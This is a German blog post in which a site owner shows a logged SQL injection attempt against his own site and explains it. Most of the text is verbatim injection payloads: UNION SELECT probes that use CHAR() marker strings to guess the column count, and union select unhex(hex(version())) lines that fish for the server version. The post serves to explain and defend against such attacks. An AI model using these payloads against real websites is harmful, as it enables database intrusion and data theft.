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25. März 2019 von Yhoko
Letzte Nacht um 2 Uhr meldete mir das System einen SQL-Injection Versuch, den ich hier gerne einmal zeigen möchte. Konkret wurde ein URL-Parameter, der normalerweise eine Zahl von 0 bis 4 enthält, probeweise durch folgende Zeilen ersetzt:
12121121121212.1
12121121121212.1
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45),CHAR(45,120,50,52,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45),CHAR(45,120,50,52,45,81,45),CHAR(45,120,50,53,45,81,45) -- /*
11111111111111' UNION SELECT CHAR(45,120,49,45,81,45) -- /* order by 'as /*
11111111111111' UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45) -- /* order by 'as /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45) -- /*
11111111111111' UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45) -- /* order by 'as /*
11111111111111' UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45) -- /* order by 'as /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45),CHAR(45,120,50,52,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45) -- /*
11111111111111 UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45),CHAR(45,120,52,45,81,45),CHAR(45,120,53,45,81,45),CHAR(45,120,54,45,81,45),CHAR(45,120,55,45,81,45),CHAR(45,120,56,45,81,45),CHAR(45,120,57,45,81,45),CHAR(45,120,49,48,45,81,45),CHAR(45,120,49,49,45,81,45),CHAR(45,120,49,50,45,81,45),CHAR(45,120,49,51,45,81,45),CHAR(45,120,49,52,45,81,45),CHAR(45,120,49,53,45,81,45),CHAR(45,120,49,54,45,81,45),CHAR(45,120,49,55,45,81,45),CHAR(45,120,49,56,45,81,45),CHAR(45,120,49,57,45,81,45),CHAR(45,120,50,48,45,81,45),CHAR(45,120,50,49,45,81,45),CHAR(45,120,50,50,45,81,45),CHAR(45,120,50,51,45,81,45),CHAR(45,120,50,52,45,81,45),CHAR(45,120,50,53,45,81,45) -- /*
11111111111111' UNION SELECT CHAR(45,120,49,45,81,45) -- /* order by 'as /*

[Log gekürzt]

1999999.1 union select unhex(hex(version())) -- and 1=1
199999' union select unhex(hex(version())) -- 'x'='x
11111111111111" UNION SELECT CHAR(45,120,49,45,81,45),CHAR(45,120,50,45,81,45),CHAR(45,120,51,45,81,45) -- /* order by "as /*
199999" union select unhex(hex(version())) -- "x"="x
1999999.1 union select unhex(hex(version())) -- and 1=1
199999' union select unhex(hex(version())) -- 'x'='x
199999" union select unhex(hex(version())) -- "x"="x
1999999.1 union select unhex(hex(version())) -- and 1=1
199999' union select unhex(hex(version())) -- 'x'='x
199999" union select unhex(hex(version())) -- "x"="x
1999999.1 union select unhex(hex(version())) -- and 1=1
199999' union select unhex(hex(version())) -- 'x'='x
199999" union select unhex(hex(version())) -- "x"="x
Auffällig sind die vielen "11111111111111" UNION SELECT" Zeilen; damit wird versucht, die Ausgabe der Webseite zu verändern. Im Original waren es deutlich mehr, jedoch alle nach demselben Muster aufgebaut mit nur kleinen Variationen in der Syntax (quasi in der Hoffnung, dass einer davon funktioniert). Da der Angreifer die Anzahl Zellen erraten muss, variieren die Versuche in der Länge.

Die vielen CHAR()-Befehle erzeugen dabei lediglich markante Textschnippsel (so wird aus "CHAR(45,120,49,45,81,45)" etwa der Text "-x1-Q-"), welche die Ausgabe einer Datenbank-Abfrage übersteuern und nach denen man anschliessend in der Webseite suchen kann – wird man fündig, hat die SQL Injection funktioniert und der eigentliche Angriff kann beginnen. Die Zahlenfolge bei CHAR() dürfte übrigens bei jedem Angriff unterschiedlich sein (ausser natürlich es handelt sich hierbei um eine Voreinstellung des verwendeten Hacker-Tools oder eine gängige Kombination).

Interessant sind auch die Zeilen am Schluss, welche mit "unhex(hex(version()))" die Versionsnummer des SQL-Servers offenbaren sollen – eine weitere, wichtige Information für jeden Angriff.

Das Ganze fand übrigens in zwei Wellen und während insgesamt 20 Minuten statt.

Yhoko
Themen: Erklärung • Security • Technik • Allerlei

2 Kommentare

Sirea / 25.03.2019
Grundsätzlich interessanter Beitrag, für einen technischen Laien jedoch völlig unverständlich...
Red / 26.03.2019
"Der Decker hat gepfuscht... mehr gibt's da nicht zu verstehen. Ich hab da einen Kumpel, der klatscht auf den Zahlensalat noch ordentlich Sauce, dann kann man das immerhin noch essen."

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